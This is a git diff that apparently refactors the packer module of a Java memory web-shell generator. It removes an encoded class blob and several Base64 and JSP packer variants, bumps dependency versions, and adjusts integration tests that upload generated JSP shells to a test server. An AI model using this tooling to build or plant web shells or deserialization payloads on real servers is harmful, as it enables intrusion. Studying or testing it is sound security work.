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"; - byte[] var11 = null; - - Class elapsedTime; - try { - elapsedTime = Class.forName("java.util.Base64"); - Object var12 = elapsedTime.getMethod("getDecoder", (Class[]) null).invoke(elapsedTime, (Object[]) null); - var11 = (byte[]) var12.getClass().getMethod("decode", String.class).invoke(var12, var9); - } catch (Exception var34) { - try { - elapsedTime = Class.forName("sun.misc.BASE64Decoder"); - Object var14 = elapsedTime.newInstance(); - var11 = (byte[]) var14.getClass().getMethod("decodeBuffer", String.class).invoke(var14, var9); - } catch (Exception var33) { - } - } - - ByteArrayOutputStream var16 = new ByteArrayOutputStream(); - ByteArrayInputStream var17 = new ByteArrayInputStream(var11); - GZIPInputStream var18 = new GZIPInputStream(var17); - byte[] var19 = new byte[256]; - - int var20; - while ((var20 = var18.read(var19)) >= 0) { - var16.write(var19, 0, var20); - } - - byte[] var21 = var16.toByteArray(); - Files.write(Paths.get("hello.class"), var21); - } -} \ No newline at end of file diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 7ae26478..5d4e3a7d 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -1,5 +1,5 @@ [versions] -asm = "9.9.1" +asm = "9.9.1" # https://mvnrepository.com/artifact/org.ow2.asm/asm jna = "5.13.0" # 为适配 JDK6+ 这个不可修改 bcel = "5.2" javax-servlet-api = "3.0.1" @@ -12,21 +12,21 @@ reactor-netty = "1.1.25" jackson = "2.19.0" jetbrains-annotations = "26.0.2" -byte-buddy = "1.18.4" -commons-io = "2.21.0" -commons-lang3 = "3.20.0" -commons-codec = "1.20.0" -logback = "1.5.24" -okhttp3 = "5.3.2" -fastjson2 = "2.0.60" -java-websocket = "1.6.0" +byte-buddy = "1.18.5" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy +commons-io = "2.21.0" # https://mvnrepository.com/artifact/commons-io/commons-io +commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 +commons-codec = "1.21.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec +logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic +okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp +fastjson2 = "2.0.61" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2 +java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket -mockito = "5.20.0" +mockito = "5.21.0" hamcrest = "3.0" -junit-jupiter = "5.14.2" +junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter junit-pioneer = "2.3.0" -junit-platform = "1.14.2" -testcontainers = "2.0.3" +junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher +testcontainers = "2.0.3" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers [libraries] byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" } @@ -68,5 +68,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"] testcontainers = ["testcontainers", "testcontainers-junit-jupiter"] [plugins] -lombok = { id = "io.freefair.lombok", version = "9.2.0" } -shadow = { id = "com.gradleup.shadow", version = "9.3.1"} \ No newline at end of file +lombok = { id = "io.freefair.lombok", version = "9.2.0" } # https://plugins.gradle.org/plugin/io.freefair.lombok +shadow = { id = "com.gradleup.shadow", version = "9.3.1"} # https://plugins.gradle.org/plugin/com.gradleup.shadow \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/AbstractContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/AbstractContainerTest.java index 3c541844..cde78518 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/AbstractContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/AbstractContainerTest.java @@ -129,7 +129,7 @@ public abstract class AbstractContainerTest { } @ParameterizedTest - @EnumSource(names = {"ClassLoaderJSP", "ClassLoaderJSPUnicode", "DefineClassJSP", "DefineClassJSPUnicode", "JSPX", "JSPXUnicode"}) + @EnumSource(names = {"ClassLoaderJSP", "DefineClassJSP", "JSPX"}) void testJspPackers(Packers packer) { ContainerTestConfig config = getConfig(); if (config.isEnableJspPackerTest()) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index cd4ae2cc..ec04ae1e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -400,14 +400,14 @@ public class ShellAssertion { public static void injectIsOk(String url, String shellType, String shellTool, String content, Packers packer, GenericContainer container) { switch (packer) { - case JSP, ClassLoaderJSP, ClassLoaderJSPUnicode, DefineClassJSP, DefineClassJSPUnicode -> { + case JSP, ClassLoaderJSP, DefineClassJSP -> { String uploadEntry = url + "/upload"; String filename = shellType + shellTool + packer + ".jsp"; String shellUrl = url + "/" + filename; VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.urlIsOk(shellUrl); } - case JSPX, JSPXUnicode -> { + case JSPX -> { String uploadEntry = url + "/upload"; String filename = shellType + shellTool + packer + ".jspx"; String shellUrl = url + "/" + filename; diff --git a/packer/build.gradle.kts b/packer/build.gradle.kts index f3b8784d..b2432eee 100644 --- a/packer/build.gradle.kts +++ b/packer/build.gradle.kts @@ -5,7 +5,7 @@ plugins { } group = "io.github.reajason" -description = "Java deserialize payload for MemShellParty" +description = "Java payload packer for MemShellParty" version = rootProject.version dependencies { @@ -22,9 +22,6 @@ dependencies { } java { - toolchain { - languageVersion = JavaLanguageVersion.of(8) - } sourceCompatibility = JavaVersion.VERSION_1_8 targetCompatibility = JavaVersion.VERSION_1_8 } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/AggregatePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/AggregatePacker.java deleted file mode 100644 index 0bba0a07..00000000 --- a/packer/src/main/java/com/reajason/javaweb/packer/AggregatePacker.java +++ /dev/null @@ -1,50 +0,0 @@ -package com.reajason.javaweb.packer; - - -import java.util.LinkedHashMap; -import java.util.List; -import java.util.Map; -import java.util.stream.Collectors; - -/** - * @author ReaJason - * @since 2025/1/26 - */ -public interface AggregatePacker extends Packer { - - /** - * 聚合打包当前所有分类下的 payload - * - * @param config 生成结果 - * @return key - 打包名称,value - 打包 payload - */ - default Map packAll(ClassPackerConfig config) { - return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap( - Enum::name, - packers -> { - try { - return packers.getInstance().pack(config); - } catch (Exception e) { - return e.getMessage(); - } - }, - (existing, replacement) -> existing, - LinkedHashMap::new - )); - } - - /** - * 将第一个 sub packer 作为默认输出 - * - * @param config 生成的内存马信息 - * @return payload - */ - @Override - default String pack(ClassPackerConfig config) { - List packersWithParent = Packers.getPackersWithParent(this.getClass()); - if (packersWithParent.isEmpty()) { - return null; - } - return packersWithParent.get(0).getInstance().pack(config); - } -} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ClassPackerConfig.java b/packer/src/main/java/com/reajason/javaweb/packer/ClassPackerConfig.java index 60dbbfab..6959d73e 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/ClassPackerConfig.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/ClassPackerConfig.java @@ -7,9 +7,10 @@ import lombok.Data; * @since 2025/6/27 */ @Data -public class ClassPackerConfig { +public class ClassPackerConfig { private String className; private byte[] classBytes; private String classBytesBase64Str; private boolean byPassJavaModule; + private T customConfig; } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/JarPackerConfig.java b/packer/src/main/java/com/reajason/javaweb/packer/JarPackerConfig.java index 6854f713..bc8bc4f2 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/JarPackerConfig.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/JarPackerConfig.java @@ -9,7 +9,8 @@ import java.util.Map; * @since 2025/6/27 */ @Data -public class JarPackerConfig { +public class JarPackerConfig { private String mainClassName; private transient Map classBytes; + private T customConfig; } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/Packer.java index 2fc1adc4..5389d0f2 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packer.java @@ -1,10 +1,19 @@ package com.reajason.javaweb.packer; +import com.reajason.javaweb.packer.spec.PackerSchema; + +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.util.Map; +import java.util.Optional; +import java.util.concurrent.ConcurrentHashMap; + /** * @author ReaJason * @since 2024/11/26 */ -public interface Packer { +public interface Packer { + TypeCache TYPE_CACHE = new TypeCache(); /** * 将自定义类打包成特定 payload @@ -12,7 +21,71 @@ public interface Packer { * @param classPackerConfig 自定义类信息 * @return 字符串 payload */ - default String pack(ClassPackerConfig classPackerConfig) { + default String pack(ClassPackerConfig classPackerConfig) { throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成"); } -} \ No newline at end of file + + @SuppressWarnings("unchecked") + default Class customConfigType() { + Optional> resolved = TYPE_CACHE.cache.computeIfAbsent(this.getClass(), TypeResolver::resolveCustomConfigType); + return (Class) resolved.orElse(null); + } + + default T resolveCustomConfig(Object rawCustomConfig) { + Class clazz = customConfigType(); + if (clazz == null) { + return null; + } + return PackerConfigConverter.convert(rawCustomConfig, clazz); + } + + /** + * Packer config schema for UI rendering. + */ + default PackerSchema schema() { + return PackerSchema.empty(); + } + + final class TypeCache { + private final Map, Optional>> cache = new ConcurrentHashMap<>(); + } + + final class TypeResolver { + private TypeResolver() { + } + + private static Optional> resolveCustomConfigType(Class clazz) { + Class current = clazz; + while (current != null && current != Object.class) { + Optional> fromInterfaces = resolveFromTypes(current.getGenericInterfaces()); + if (fromInterfaces.isPresent()) { + return fromInterfaces; + } + current = current.getSuperclass(); + } + return Optional.empty(); + } + + private static Optional> resolveFromTypes(Type[] types) { + for (Type type : types) { + if (!(type instanceof ParameterizedType)) { + continue; + } + ParameterizedType parameterizedType = (ParameterizedType) type; + if (!(parameterizedType.getRawType() instanceof Class)) { + continue; + } + Class rawType = (Class) parameterizedType.getRawType(); + if (rawType != Packer.class) { + continue; + } + Type configType = parameterizedType.getActualTypeArguments()[0]; + if (configType instanceof Class) { + return Optional.of((Class) configType); + } + return Optional.empty(); + } + return Optional.empty(); + } + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/PackerConfigConverter.java b/packer/src/main/java/com/reajason/javaweb/packer/PackerConfigConverter.java new file mode 100644 index 00000000..7aee8a73 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/PackerConfigConverter.java @@ -0,0 +1,27 @@ +package com.reajason.javaweb.packer; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** + * Shared conversion helper for packer custom config. + */ +final class PackerConfigConverter { + private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper(); + + private PackerConfigConverter() { + } + + static R convert(Object customConfig, Class clazz) { + if (customConfig == null) { + return null; + } + if (clazz.isInstance(customConfig)) { + return clazz.cast(customConfig); + } + try { + return OBJECT_MAPPER.convertValue(customConfig, clazz); + } catch (IllegalArgumentException e) { + throw new IllegalArgumentException("invalid customConfig for " + clazz.getSimpleName() + ": " + e.getMessage(), e); + } + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 2621c34d..7b9df03e 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -1,10 +1,8 @@ package com.reajason.javaweb.packer; +import com.reajason.javaweb.packer.spec.PackerSchema; import com.reajason.javaweb.packer.aviator.AviatorPacker; import com.reajason.javaweb.packer.base64.Base64Packer; -import com.reajason.javaweb.packer.base64.Base64URLEncoded; -import com.reajason.javaweb.packer.base64.DefaultBase64Packer; -import com.reajason.javaweb.packer.base64.GzipBase64Packer; import com.reajason.javaweb.packer.bsh.BeanShellPacker; import com.reajason.javaweb.packer.deserialize.hessian.Hessian2Packer; import com.reajason.javaweb.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker; @@ -52,7 +50,9 @@ import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker; import lombok.Getter; +import java.util.LinkedHashMap; import java.util.List; +import java.util.Map; import java.util.Objects; import java.util.stream.Collectors; import java.util.stream.Stream; @@ -67,20 +67,14 @@ public enum Packers { * Base64 */ Base64(new Base64Packer()), - DefaultBase64(new DefaultBase64Packer(), Base64Packer.class), - Base64URLEncoded(new Base64URLEncoded(), Base64Packer.class), - GzipBase64(new GzipBase64Packer(), Base64Packer.class), /** * JSP 打包器 */ JSP(new JspPacker()), ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class), - ClassLoaderJSPUnicode(new ClassLoaderJspUnicodePacker(), JspPacker.class), DefineClassJSP(new DefineClassJspPacker(), JspPacker.class), - DefineClassJSPUnicode(new DefineClassJspUnicodePacker(), JspPacker.class), JSPX(new JspxPacker(), JspPacker.class), - JSPXUnicode(new JspxUnicodePacker(), JspPacker.class), /** * BigInteger @@ -193,7 +187,48 @@ public enum Packers { this.parentPacker = parentPacker; } - public static List getPackersWithParent(Class parentPacker) { - return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList()); + public static Packers fromName(String name) { + if (name == null) { + throw new IllegalArgumentException("packer name is required"); + } + try { + return Packers.valueOf(name); + } catch (IllegalArgumentException e) { + throw new IllegalArgumentException("unknown packer: " + name); + } + } + + public String getCategoryName() { + if (parentPacker == null) { + return name(); + } + for (Packers packer : Packers.values()) { + if (packer.getParentPacker() == null && packer.getInstance().getClass().equals(parentPacker)) { + return packer.name(); + } + } + return name(); + } + + public boolean hasChildren() { + return Stream.of(Packers.values()).anyMatch(p -> Objects.equals(p.getParentPacker(), this.getInstance().getClass())); + } + + public String getOutputKind() { + return instance instanceof JarPacker ? "binary-base64" : "text"; + } + + public PackerSchema getSchema() { + PackerSchema schema = instance.schema(); + return schema == null ? PackerSchema.empty() : schema; + } + + public static Map> groupedPackers() { + Map> groupedPackers = new LinkedHashMap<>(); + for (Packers packer : Packers.values()) { + String groupName = packer.getCategoryName(); + groupedPackers.computeIfAbsent(groupName, k -> new java.util.ArrayList<>()).add(packer); + } + return groupedPackers; } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Util.java b/packer/src/main/java/com/reajason/javaweb/packer/Util.java index eddac86e..797444a4 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Util.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Util.java @@ -3,9 +3,12 @@ package com.reajason.javaweb.packer; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; +import java.io.ByteArrayOutputStream; +import java.io.IOException; import java.io.InputStream; import java.nio.charset.Charset; import java.util.Objects; +import java.util.zip.GZIPOutputStream; /** * @author ReaJason @@ -19,4 +22,13 @@ public class Util { return IOUtils.toString(Objects.requireNonNull(stream), Charset.defaultCharset()); } } + + @SneakyThrows + public static byte[] gzipCompress(byte[] data) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + try (GZIPOutputStream gzip = new GZIPOutputStream(out)) { + gzip.write(data); + } + return out.toByteArray(); + } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/base64/Base64CustomPackerConfig.java b/packer/src/main/java/com/reajason/javaweb/packer/base64/Base64CustomPackerConfig.java new file mode 100644 index 00000000..b9c358cd --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/base64/Base64CustomPackerConfig.java @@ -0,0 +1,37 @@ +package com.reajason.javaweb.packer.base64; + +import com.reajason.javaweb.packer.spec.PackerFieldSchema; +import com.reajason.javaweb.packer.spec.PackerFieldType; +import com.reajason.javaweb.packer.spec.PackerSchema; +import lombok.Data; + +@Data +public class Base64CustomPackerConfig { + private boolean urlEncoded; + private boolean gzipCompressed; + + public static PackerSchema schema() { + PackerFieldSchema urlEncodedField = new PackerFieldSchema(); + urlEncodedField.setKey("urlEncoded"); + urlEncodedField.setType(PackerFieldType.BOOLEAN); + urlEncodedField.setRequired(false); + urlEncodedField.setDefaultValue(false); + urlEncodedField.setDescription("Enable URL encoding"); + urlEncodedField.setDescriptionI18nKey("urlEncoded.desc"); + + PackerFieldSchema gzipCompressedField = new PackerFieldSchema(); + gzipCompressedField.setKey("gzipCompressed"); + gzipCompressedField.setType(PackerFieldType.BOOLEAN); + gzipCompressedField.setRequired(false); + gzipCompressedField.setDefaultValue(false); + gzipCompressedField.setDescription("Enable GZIP compression"); + gzipCompressedField.setDescriptionI18nKey("gzipCompressed.desc"); + + PackerSchema schema = new PackerSchema(); + schema.getFields().add(urlEncodedField); + schema.getFields().add(gzipCompressedField); + schema.getDefaultConfig().put("urlEncoded", false); + schema.getDefaultConfig().put("gzipCompressed", false); + return schema; + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/base64/Base64Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/base64/Base64Packer.java index fc22c97d..532594a2 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/base64/Base64Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/base64/Base64Packer.java @@ -1,10 +1,42 @@ package com.reajason.javaweb.packer.base64; -import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Util; +import com.reajason.javaweb.packer.spec.PackerSchema; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; +import java.util.Objects; /** * @author ReaJason * @since 2024/12/17 */ -public class Base64Packer implements AggregatePacker { -} \ No newline at end of file +public class Base64Packer implements Packer { + + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + Base64CustomPackerConfig customConfig = config.getCustomConfig(); + if (Objects.isNull(customConfig)) { + return config.getClassBytesBase64Str(); + } + byte[] bytes = config.getClassBytes(); + if (customConfig.isGzipCompressed()) { + bytes = Util.gzipCompress(bytes); + } + String base64 = Base64.encodeBase64String(bytes); + if (customConfig.isUrlEncoded()) { + return URLEncoder.encode(base64, StandardCharsets.UTF_8.name()); + } + return base64; + } + + @Override + public PackerSchema schema() { + return Base64CustomPackerConfig.schema(); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/base64/Base64URLEncoded.java b/packer/src/main/java/com/reajason/javaweb/packer/base64/Base64URLEncoded.java deleted file mode 100644 index 893d113d..00000000 --- a/packer/src/main/java/com/reajason/javaweb/packer/base64/Base64URLEncoded.java +++ /dev/null @@ -1,21 +0,0 @@ -package com.reajason.javaweb.packer.base64; - -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; -import lombok.SneakyThrows; - -import java.net.URLEncoder; -import java.nio.charset.StandardCharsets; - -/** - * @author ReaJason - * @since 2025/9/2 - */ -public class Base64URLEncoded implements Packer { - - @Override - @SneakyThrows - public String pack(ClassPackerConfig config) { - return URLEncoder.encode(config.getClassBytesBase64Str(), StandardCharsets.UTF_8.name()); - } -} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/base64/DefaultBase64Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/base64/DefaultBase64Packer.java deleted file mode 100644 index daf0a10e..00000000 --- a/packer/src/main/java/com/reajason/javaweb/packer/base64/DefaultBase64Packer.java +++ /dev/null @@ -1,15 +0,0 @@ -package com.reajason.javaweb.packer.base64; - -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; - -/** - * @author ReaJason - * @since 2024/12/17 - */ -public class DefaultBase64Packer implements Packer { - @Override - public String pack(ClassPackerConfig config) { - return config.getClassBytesBase64Str(); - } -} \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/base64/GzipBase64Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/base64/GzipBase64Packer.java deleted file mode 100644 index 3e2fc84f..00000000 --- a/packer/src/main/java/com/reajason/javaweb/packer/base64/GzipBase64Packer.java +++ /dev/null @@ -1,30 +0,0 @@ -package com.reajason.javaweb.packer.base64; - -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; -import lombok.SneakyThrows; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.util.Base64; -import java.util.zip.GZIPOutputStream; - -/** - * @author ReaJason - * @since 2025/1/22 - */ -public class GzipBase64Packer implements Packer { - @Override - @SneakyThrows - public String pack(ClassPackerConfig config) { - return Base64.getEncoder().encodeToString(gzipCompress(config.getClassBytes())); - } - - public static byte[] gzipCompress(byte[] data) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - try (GZIPOutputStream gzip = new GZIPOutputStream(out)) { - gzip.write(data); - } - return out.toByteArray(); - } -} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/Hessian2Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/Hessian2Packer.java index 8c6cdbed..b23ff8c5 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/Hessian2Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/Hessian2Packer.java @@ -1,11 +1,16 @@ package com.reajason.javaweb.packer.deserialize.hessian; -import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason * @since 2025/2/20 */ -public class Hessian2Packer implements AggregatePacker { - +public class Hessian2Packer implements Packer { + @Override + public String pack(ClassPackerConfig classPackerConfig) { + return Packers.Hessian2XSLTScriptEngine.getInstance().pack(classPackerConfig); + } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/HessianPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/HessianPacker.java index 626306a2..9f813478 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/HessianPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/hessian/HessianPacker.java @@ -1,11 +1,16 @@ package com.reajason.javaweb.packer.deserialize.hessian; -import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason * @since 2025/2/20 */ -public class HessianPacker implements AggregatePacker { - +public class HessianPacker implements Packer { + @Override + public String pack(ClassPackerConfig classPackerConfig) { + return Packers.HessianXSLTScriptEngine.getInstance().pack(classPackerConfig); + } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/JavaDeserializePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/JavaDeserializePacker.java index 21ddec84..3dcba8e5 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/JavaDeserializePacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/deserialize/java/JavaDeserializePacker.java @@ -1,11 +1,16 @@ package com.reajason.javaweb.packer.deserialize.java; -import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; 